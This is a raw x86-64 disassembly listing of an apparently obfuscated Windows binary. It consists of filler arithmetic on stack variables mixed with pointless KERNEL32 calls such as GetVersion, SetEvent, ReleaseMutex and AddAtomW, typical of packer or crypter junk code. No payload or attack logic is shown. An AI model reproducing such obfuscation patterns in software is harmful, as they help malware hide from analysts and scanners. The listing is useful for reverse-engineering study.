mov rax, rcx
mov rcx, qword [rsp + 0x52f8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3dc8]
mov eax, dword [rax]
mov dword [rsp + 0x2134], eax
mov rax, qword [rsp + 0x3630]
mov rcx, qword [0x14018c0d0]
mov qword [rsp + 0x5c30], rcx
movzx ecx, al
mov rax, qword [rsp + 0x5c30]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x4300]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5a08]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4d30]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [0x14018be20]
mov word [rcx], ax
movzx eax, word [rsp + 0xab8]
movzx ecx, word [0x14018bee8]
sub eax, ecx
mov rcx, qword [rsp + 0x4fe0]
mov word [rcx], ax
mov rax, qword [rsp + 0x4da8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1cc]
add eax, ecx
mov byte [rsp + 0x86], al
mov rax, qword [rsp + 0x4410]
mov rcx, qword [rsp + 0x41f0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x4d90]
mov dword [rcx], eax
lea rax, [0x14018ace0]
mov qword [rsp + 0x5c38], rax
movsx eax, byte [rsp + 0x1c9]
movsx ecx, byte [rsp + 0x1b9]
sub eax, ecx
mov byte [rsp + 0x1b2], al
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x20e8], eax
mov rax, qword [rsp + 0x4cd8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x5238]
mov qword [rsp + 0x5c40], rcx
movzx ecx, al
mov rax, qword [rsp + 0x5c40]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x1ff4], eax
lea rax, [rsp + 0x2ef8]
mov qword [rsp + 0x5c48], rax
mov rax, qword [rsp + 0x5660]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xd20]
add eax, ecx
mov word [rsp + 0x688], ax
movzx eax, word [rsp + 0xda8]
mov word [0x14018c298], ax
mov rcx, qword [rsp + 0x4d70]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x2020], eax
lea rax, [0x14018c168]
mov qword [rsp + 0x5c50], rax
mov rax, qword [rsp + 0x3e38]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5100]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x3ff0]
mov word [rcx], ax
mov rax, qword [rsp + 0x49f8]
movzx eax, word [rax]
mov word [rsp + 0xdd4], ax
mov rax, qword [rsp + 0x49a0]
mov rcx, qword [rsp + 0x49c0]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x42d0]
mov qword [rcx], rax
mov rcx, qword [rsp + 0x48c8]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0x51e0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1a2]
xor eax, ecx
mov rcx, qword [rsp + 0x5248]
mov byte [rcx], al
lea rax, [rsp + 0x3068]
mov qword [rsp + 0x5c58], rax
mov rax, qword [rsp + 0x4cd8]
mov ecx, dword [rsp + 0x20ec]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x3fa0]
mov dword [rcx], eax
lea rcx, str.V3riFvuJ.MEIHt8f
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0xdd8], ax
lea rax, [rsp + 0x8e4]
mov qword [rsp + 0x5c60], rax
lea rax, [rsp + 0x4b98]
mov qword [0x14018c2a0], rax
movzx eax, byte [rsp + 0x1cc]
movzx ecx, byte [rsp + 0x1c6]
shl eax, cl
mov byte [rsp + 0x1b6], al
mov eax, dword [rsp + 0x1c40]
mov rcx, qword [rsp + 0x40c8]
mov qword [rsp + 0x5c68], rcx
movzx ecx, al
mov rax, qword [rsp + 0x5c68]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x4af0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3cf0]
movzx eax, word [rax]
mov word [rsp + 0xddc], ax
movzx eax, word [rsp + 0xd60]
movzx ecx, word [rsp + 0x7e0]
sub eax, ecx
mov rcx, qword [rsp + 0x4b18]
mov word [rcx], ax
lea rax, [rsp + 0x5740]
mov qword [rsp + 0x5c70], rax
mov rax, qword [rsp + 0x41a8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x59c8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x1c7], al
mov rax, qword [rsp + 0x5768]
mov ecx, dword [0x14018ad48]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x59d0]
mov dword [rcx], eax
movsx eax, word [rsp + 0xd2c]
movsx ecx, word [rsp + 0xddc]
sub eax, ecx
mov word [rsp + 0xc1c], ax
mov rax, qword [rsp + 0x4818]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x59b8]
movzx ecx, word [rcx]
and eax, ecx
mov word [0x14018ad74], ax
mov rax, qword [rsp + 0x4770]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4928]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x53f8]
mov qword [rcx], rax
lea rax, [rsp + 0x2bd0]
mov qword [rsp + 0x5c78], rax
mov rax, qword [rsp + 0x4a50]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3e70]
mov qword [rsp + 0x5c80], rcx
movzx ecx, al
mov rax, qword [rsp + 0x5c80]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x5a80]
mov qword [rcx], rax
movsx eax, word [rsp + 0xac4]
movsx ecx, word [rsp + 0xc88]
add eax, ecx
mov rcx, qword [rsp + 0x4760]
mov word [rcx], ax
lea rax, [rsp + 0x1b7]
mov qword [rsp + 0x5c88], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x1f94], eax
mov rax, qword [rsp + 0x5138]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5740]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x57a0]
mov qword [rcx], rax
lea rax, [rsp + 0x2074]
mov qword [rsp + 0x5c90], rax
movzx eax, byte [rsp + 0x1d7]
mov rcx, qword [rsp + 0x4868]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x4fb8]
mov byte [rcx], al
lea rax, [rsp + 0x2094]
mov qword [rsp + 0x5c98], rax
mov rax, qword [0x14018c040]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4618]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [0x14018c0b8]
mov word [rcx], ax
mov rax, qword [rsp + 0x4b40]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4d58]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x83c], ax
movzx eax, word [rsp + 0xdc4]
mov rcx, qword [0x14018c250]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x4788]
mov word [rcx], ax
lea rax, [rsp + 0x3428]
mov qword [rsp + 0x5ca0], rax
mov eax, dword [rsp + 0x1ff4]
mov ecx, dword [rsp + 0x20cc]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5b60]
mov dword [rcx], eax
lea rax, [rsp + 0x2fa8]
mov qword [rsp + 0x5ca8], rax
movsx eax, byte [rsp + 0x1b5]
movsx ecx, byte [rsp + 0x175]
sar eax, cl
mov byte [rsp + 0x1b1], al
movsx eax, word [rsp + 0xcc0]
mov rcx, qword [rsp + 0x5118]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x5a68]
mov word [rcx], ax
lea rax, [rsp + 0xd28]
mov qword [rsp + 0x5cb0], rax
lea rax, [rsp + 0x4b98]
mov qword [0x14018c2a8], rax
movzx eax, word [rsp + 0xab4]
mov rcx, qword [rsp + 0x4370]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x3a4], ax
lea rax, [rsp + 0x3428]
mov qword [rsp + 0x5cb8], rax
mov rax, qword [rsp + 0x5058]
mov rcx, qword [rsp + 0x3250]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4878], rax
mov eax, dword [rsp + 0x20c0]
mov ecx, dword [rsp + 0x1c00]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4480]
mov dword [rcx], eax
lea rax, [rsp + 0x54c8]
mov qword [rsp + 0x5cc0], rax
mov rax, qword [0x14018bdd0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x14a]
and eax, ecx
mov byte [rsp + 0xe7], al
lea rax, [rsp + 0x1fd0]
mov qword [rsp + 0x5cc8], rax
movsx eax, byte [rsp + 0x99]
mov rcx, qword [rsp + 0x4c30]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0xaa], al
movsx eax, word [0x14018ad64]
movsx ecx, word [rsp + 0xd3c]
xor eax, ecx
mov word [0x14018c170], ax
lea rax, [rsp + 0xdac]
mov qword [rsp + 0x5cd0], rax
movzx eax, word [rsp + 0xdc4]
mov rcx, qword [rsp + 0x49a8]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x4588]
mov word [rcx], ax
movzx eax, word [0x14018c070]
mov rcx, qword [rsp + 0x5410]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xd1c], ax
mov eax, dword [rsp + 0x1c3c]
mov dword [rsp + 0x2138], eax
mov rax, qword [rsp + 0x4238]
movsx eax, byte [rax]
movsx ecx, byte [0x14018acd9]
add eax, ecx
mov rcx, qword [rsp + 0x4940]
mov byte [rcx], al
lea rax, [rsp + 0x2fa8]
mov qword [rsp + 0x5cd8], rax
mov rax, qword [rsp + 0x4248]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x5978]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x3e18]
mov word [rcx], ax
mov rax, qword [rsp + 0x5290]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x694]
and eax, ecx
mov word [rsp + 0xd54], ax
lea rax, [rsp + 0x52d0]
mov qword [0x14018c2b0], rax
mov rax, qword [rsp + 0x5728]
movzx ecx, al
mov rax, qword [rsp + 0x4550]
sar rax, cl
mov qword [rsp + 0x2bc8], rax
mov rax, qword [rsp + 0x5450]
mov rcx, qword [0x14018bf98]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x5cb8]
mov qword [rcx], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
lea rax, [rsp + 0x4a68]
mov qword [rsp + 0x5ce0], rax
movzx eax, word [rsp + 0xdd0]
movzx ecx, word [rsp + 0xbc0]
add eax, ecx
mov word [rsp + 0x3b4], ax
mov rax, qword [rsp + 0x4a80]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1d8]
and eax, ecx
mov rcx, qword [rsp + 0x40f0]
mov byte [rcx], al
lea rax, [rsp + 0x1f10]
mov qword [rsp + 0x5ce8], rax
mov rax, qword [rsp + 0x5ac8]
mov rcx, qword [rsp + 0x44f8]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x5ac8]
mov qword [rcx], rax
mov rcx, qword [rsp + 0x53c0]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x20b4], eax
lea rax, [0x14018ad0c]
mov qword [rsp + 0x5cf0], rax
lea rax, [rsp + 0x101]
mov qword [0x14018c2b8], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x4bb8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xda0]
sar eax, cl
mov word [rsp + 0xd20], ax
movsx eax, word [rsp + 0xcdc]
movsx ecx, word [0x14018c170]
shl eax, cl
mov rcx, qword [rsp + 0x51b8]
mov word [rcx], ax
lea rax, [rsp + 0xcd8]
mov qword [rsp + 0x5cf8], rax
mov rax, qword [rsp + 0x4b28]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x32d0]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5110]
mov qword [rcx], rax
lea rax, [rsp + 0x101]
mov qword [rsp + 0x5d00], rax
mov rax, qword [rsp + 0x5c90]
mov ecx, dword [rsp + 0x20c8]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x2024], eax
lea rax, [rsp + 0x4e38]
mov qword [rsp + 0x5d08], rax
movsx eax, word [rsp + 0x958]
movsx ecx, word [rsp + 0xce8]
add eax, ecx
mov rcx, qword [rsp + 0x5188]
mov word [rcx], ax
movzx eax, word [0x14018ad74]
movzx ecx, word [rsp + 0x3b4]
sub eax, ecx
mov word [0x14018bf50], ax
mov rax, qword [rsp + 0x4ca8]
mov rcx, qword [rsp + 0x4b88]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x36e0], rax
movzx eax, word [0x14018bf88]
mov word [rsp + 0xde0], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x206c], eax
movzx eax, byte [rsp + 0x1d8]
mov rcx, qword [rsp + 0x5860]
movzx ecx, byte [rcx]
cdq
idiv ecx
mov rcx, qword [rsp + 0x5988]
mov byte [rcx], al
lea rax, [rsp + 0x2060]
mov qword [rsp + 0x5d10], rax
movsx eax, byte [rsp + 0x101]
mov rcx, qword [0x14018c200]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x4870]
mov byte [rcx], al
mov rax, qword [rsp + 0x41c0]
mov rcx, qword [rsp + 0x4d88]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x4468]
mov dword [rcx], eax
lea rax, [rsp + 0x2b88]
mov qword [rsp + 0x5d18], rax
movzx ecx, word [rsp + 0xcf4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xdc0], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetProcessPriorityBoost]
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x213c], eax
movsx eax, word [rsp + 0xc70]
mov rcx, qword [0x14018be88]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x45e8]
mov word [rcx], ax
movzx eax, word [rsp + 0xdb8]
movzx ecx, word [rsp + 0x61c]
and eax, ecx
mov word [0x14018c0f0], ax
lea rax, [rsp + 0x52d0]
mov qword [rsp + 0x5d20], rax
mov rax, qword [0x14018bfb8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3880]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x59a0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5470]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xdb0]
and eax, ecx
mov rcx, qword [rsp + 0x49d8]
mov word [rcx], ax
lea rax, [rsp + 0xdd0]
mov qword [rsp + 0x5d28], rax
mov rax, qword [rsp + 0x4fc8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4e00]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4530]
mov qword [rcx], rax
mov rax, qword [rsp + 0x58e8]
mov eax, dword [rax]
mov dword [rsp + 0x2140], eax
mov rax, qword [rsp + 0x4ba8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x5010]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x4168]
mov byte [rcx], al
mov rax, qword [rsp + 0x4350]
mov rcx, qword [rsp + 0x5ba8]
mov qword [rsp + 0x5d30], rcx
movzx ecx, al
mov rax, qword [rsp + 0x5d30]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x3820], rax
mov rax, qword [rsp + 0x5660]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x3f8]
or eax, ecx
mov word [0x14018ad78], ax
mov r9d, 0x15d7
xor r8d, r8d
lea rdx, [rsp + 0x5ab0]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x2114], eax
mov rax, qword [rsp + 0x4fe0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4280]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xc78], ax
mov rax, qword [rsp + 0x5cc8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1f8c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x1fc0], eax
movzx eax, byte [rsp + 0x1d1]
mov byte [rsp + 0x1db], al
mov rax, qword [rsp + 0x3e70]
mov rcx, qword [0x14018c218]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x59a0]
mov qword [rcx], rax
lea rax, [rsp + 0x10c]
mov qword [rsp + 0x5d38], rax
mov rax, qword [rsp + 0x5098]
mov rcx, qword [rsp + 0x3d08]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x56f8], rax
mov eax, dword [rsp + 0x2140]
movzx ecx, al
mov eax, dword [rsp + 0x20a8]
shr eax, cl
mov dword [rsp + 0x2074], eax
movsx eax, word [rsp + 0xc98]
movsx ecx, word [rsp + 0x768]
and eax, ecx
mov word [rsp + 0x584], ax
movzx eax, word [rsp + 0x9dc]
mov word [0x14018c2c0], ax
mov rax, qword [0x14018c100]
mov rcx, qword [rsp + 0x5108]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x5230], rax
mov rax, qword [rsp + 0x5800]
movzx eax, word [rax]
mov word [rsp + 0xde4], ax
movsx eax, word [rsp + 0xdb4]
movsx ecx, word [rsp + 0xc88]
add eax, ecx
mov word [rsp + 0xca8], ax
mov rax, qword [rsp + 0x5388]
mov rcx, qword [rsp + 0x48b8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x3320], rax
lea rax, [rsp + 0x4c60]
mov qword [rsp + 0x5d40], rax
mov rax, qword [rsp + 0x44a0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4dd8]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x5038]
mov byte [rcx], al
lea rax, [0x14018bdc0]
mov qword [rsp + 0x5d48], rax
movzx eax, word [rsp + 0x4c8]
mov rcx, qword [rsp + 0x5c60]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xdc8], ax
mov rax, qword [rsp + 0x40b0]
movzx ecx, al
mov rax, qword [rsp + 0x3de8]
shl rax, cl
mov qword [0x14018ace0], rax
mov rax, qword [0x14018bdd0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1c6]
sar eax, cl
mov rcx, qword [rsp + 0x42c8]
mov byte [rcx], al
lea rax, [rsp + 0x1f20]
mov qword [rsp + 0x5d50], rax
movsx eax, word [rsp + 0xd74]
movsx ecx, word [0x14018c000]
add eax, ecx
mov word [rsp + 0xcbc], ax
movzx eax, word [rsp + 0xcd8]
mov word [rsp + 0xde8], ax
mov rax, qword [rsp + 0x4f18]
mov rcx, qword [rsp + 0x2fa8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x2d08], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushFileBuffers]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x5d58], rax
lea rax, [rsp + 0x2098]
mov qword [rsp + 0x5d60], rax
movsx eax, byte [rsp + 0x1c5]
movsx ecx, byte [rsp + 0x1ac]
and eax, ecx
mov rcx, qword [rsp + 0x51f0]
mov byte [rcx], al
mov rax, qword [rsp + 0x52e8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4250]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x5188]
mov word [rcx], ax
lea rax, [rsp + 0xad4]
mov qword [0x14018c2c8], rax
lea rax, [rsp + 0x5828]
mov qword [rsp + 0x5d68], rax
mov rax, qword [rsp + 0x4f40]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3b78]
mov qword [rsp + 0x5d70], rcx
movzx ecx, al
mov rax, qword [rsp + 0x5d70]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x3880], rax
lea rax, [rsp + 0x2b50]
mov qword [rsp + 0x5d78], rax
movsx eax, word [rsp + 0xc6c]
movsx ecx, word [rsp + 0xd04]
sub eax, ecx
mov rcx, qword [rsp + 0x4248]
mov word [rcx], ax
mov r9d, 0xdb6
xor r8d, r8d
lea rdx, [rsp + 0x5428]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x1fb0], eax
movsx eax, byte [rsp + 0x15a]
movsx ecx, byte [rsp + 0x1cb]
and eax, ecx
mov rcx, qword [rsp + 0x4fd8]
mov byte [rcx], al
mov rax, qword [0x14018ad68]
mov rcx, qword [rsp + 0x4568]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x2c18], rax
mov rax, qword [rsp + 0x3eb0]
mov ecx, dword [rsp + 0x1f90]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x1bac], eax
lea rax, [rsp + 0x1c6]
mov qword [rsp + 0x5d80], rax
mov rax, qword [rsp + 0x4f88]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x1c40]
shl eax, cl
mov rcx, qword [rsp + 0x5408]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3f98]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc5c]
or eax, ecx
mov rcx, qword [0x14018bea0]
mov word [rcx], ax
lea rcx, [rsp + 0x157b8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
movzx eax, word [rsp + 0xd94]
mov rcx, qword [rsp + 0x4098]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x43b0]
mov word [rcx], ax
lea rax, [0x14018ad38]
mov qword [rsp + 0x5d88], rax
mov rax, qword [rsp + 0x5be8]
mov rcx, qword [rsp + 0x2b30]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x5848]
mov qword [rcx], rax
mov rax, qword [rsp + 0x57d8]
mov rax, qword [rax]
mov qword [rsp + 0x5d90], rax
mov rax, qword [rsp + 0x5790]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x3c40]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x45a0]
mov byte [rcx], al
mov rax, qword [rsp + 0x4318]
mov rcx, qword [rsp + 0x5900]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x4608]
mov dword [rcx], eax
lea rax, [rsp + 0xd84]
mov qword [rsp + 0x5d98], rax
movzx eax, word [0x14018ad74]
mov rcx, qword [rsp + 0x4920]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xd90], ax
lea rax, [rsp + 0x5058]
mov qword [0x14018c2d0], rax
mov rax, qword [rsp + 0x5b18]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x4c8]
and eax, ecx
mov word [rsp + 0x844], ax
mov rax, qword [rsp + 0x4648]
mov rax, qword [rax]
mov rcx, qword [0x14018ace0]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4268]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4268]
mov rax, qword [rax]
mov qword [rsp + 0x5da0], rax
mov rax, qword [rsp + 0x3068]
movzx ecx, al
mov rax, qword [rsp + 0x4dd0]
shr rax, cl
mov rcx, qword [rsp + 0x56d8]
mov qword [rcx], rax
movsx eax, byte [rsp + 0x1b5]
movsx ecx, byte [rsp + 0x1bd]
add eax, ecx
mov byte [rsp + 0x152], al
lea rax, [rsp + 0x202c]
mov qword [rsp + 0x5da8], rax
movzx eax, byte [rsp + 0x1db]
mov rcx, qword [rsp + 0x4010]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x177], al
lea rax, [0x14018bdc0]
mov qword [rsp + 0x5db0], rax
movsx eax, word [rsp + 0xd14]
movsx ecx, word [rsp + 0x5c8]
shl eax, cl
mov word [0x14018bfc0], ax
movsx eax, word [rsp + 0xc88]
movsx ecx, word [0x14018be7c]
xor eax, ecx
mov rcx, qword [rsp + 0x4bb8]
mov word [rcx], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x2054], eax
movzx eax, word [rsp + 0xdc4]
movzx ecx, word [rsp + 0xbc0]
or eax, ecx
mov rcx, qword [rsp + 0x4818]
mov word [rcx], ax
lea rax, [rsp + 0xccc]
mov qword [rsp + 0x5db8], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x2144], eax
mov rcx, qword [rsp + 0x4738]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0x5000]
mov rcx, qword [rsp + 0x3fc0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x3068], rax
lea rax, [rsp + 0x1d5]
mov qword [rsp + 0x5dc0], rax
mov rax, qword [rsp + 0x44d0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x20cc]
shr eax, cl
mov rcx, qword [rsp + 0x4a40]
mov dword [rcx], eax
movsx eax, word [rsp + 0xb48]
movsx ecx, word [rsp + 0xd0c]
add eax, ecx
mov rcx, qword [rsp + 0x40b8]
mov word [rcx], ax
mov rax, qword [rsp + 0x4818]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x56a8]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x404], ax
mov rax, qword [rsp + 0x53d0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x54a0]
and rcx, rax
mov rax, rcx
mov rcx, qword [0x14018bdf8]
mov qword [rcx], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x20d0], eax
mov rax, qword [0x14018c028]
mov rcx, qword [rsp + 0x2b50]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x4b28]
mov qword [rcx], rax
lea rax, [rsp + 0x3900]
mov qword [rsp + 0x5dc8], rax
mov rax, qword [rsp + 0x5578]
mov rcx, qword [rsp + 0x3368]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x2ac8], rax
mov rax, qword [rsp + 0x4f90]
movzx eax, word [rax]
mov word [rsp + 0xdec], ax
mov rax, qword [rsp + 0x5988]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1d3]
cdq
idiv ecx
mov rcx, qword [rsp + 0x47e0]
mov byte [rcx], al
mov eax, dword [rsp + 0x20e0]
mov rcx, qword [rsp + 0x4520]
mov qword [rsp + 0x5dd0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x5dd0]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x1f10], eax
mov rcx, qword [rsp + 0x5428]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea rax, [rsp + 0x1d5]
mov qword [rsp + 0x5dd8], rax
mov rax, qword [rsp + 0x3eb0]
mov rcx, qword [rsp + 0x5c90]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x3e30]
mov dword [rcx], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x20b8], eax
mov rax, qword [rsp + 0x5a90]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5cc0]
mov qword [rsp + 0x5de0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x5de0]
mov rax, qword [rax]
shl rax, cl
mov qword [0x14018ad80], rax
lea rax, [rsp + 0xc88]
mov qword [rsp + 0x5de8], rax
movsx eax, word [rsp + 0xdac]
movsx ecx, word [rsp + 0xd14]
or eax, ecx
mov rcx, qword [rsp + 0x4d10]
mov word [rcx], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x5df0], rax
mov rax, qword [rsp + 0x4850]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xd1c]
xor eax, ecx
mov rcx, qword [rsp + 0x5410]
mov word [rcx], ax
lea rax, [rsp + 0x52d0]
mov qword [rsp + 0x5df8], rax
mov rax, qword [rsp + 0x54a8]
mov ecx, dword [rsp + 0x1e34]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x58e8]
mov dword [rcx], eax
movzx ecx, word [rsp + 0xc74]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xcf4], ax
lea rax, [rsp + 0x1cd]
mov qword [rsp + 0x5e00], rax
mov rax, qword [rsp + 0x5178]
mov rcx, qword [rsp + 0x5d08]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x4dd0], rax
mov rax, qword [rsp + 0x3f40]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc88]
and eax, ecx
mov word [rsp + 0x69c], ax
movzx eax, word [rsp + 0xbfc]
movzx ecx, word [rsp + 0x844]
sar eax, cl
mov rcx, qword [0x14018c038]
mov word [rcx], ax
lea rax, [rsp + 0x5798]
mov qword [rsp + 0x5e08], rax
movzx eax, word [rsp + 0xd68]
mov rcx, qword [rsp + 0x4b30]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4048]
mov word [rcx], ax
mov rax, qword [rsp + 0x5598]
movzx eax, byte [rax]
mov byte [rsp + 0x1dc], al
mov rax, qword [rsp + 0x4e30]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1f20]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2030], eax
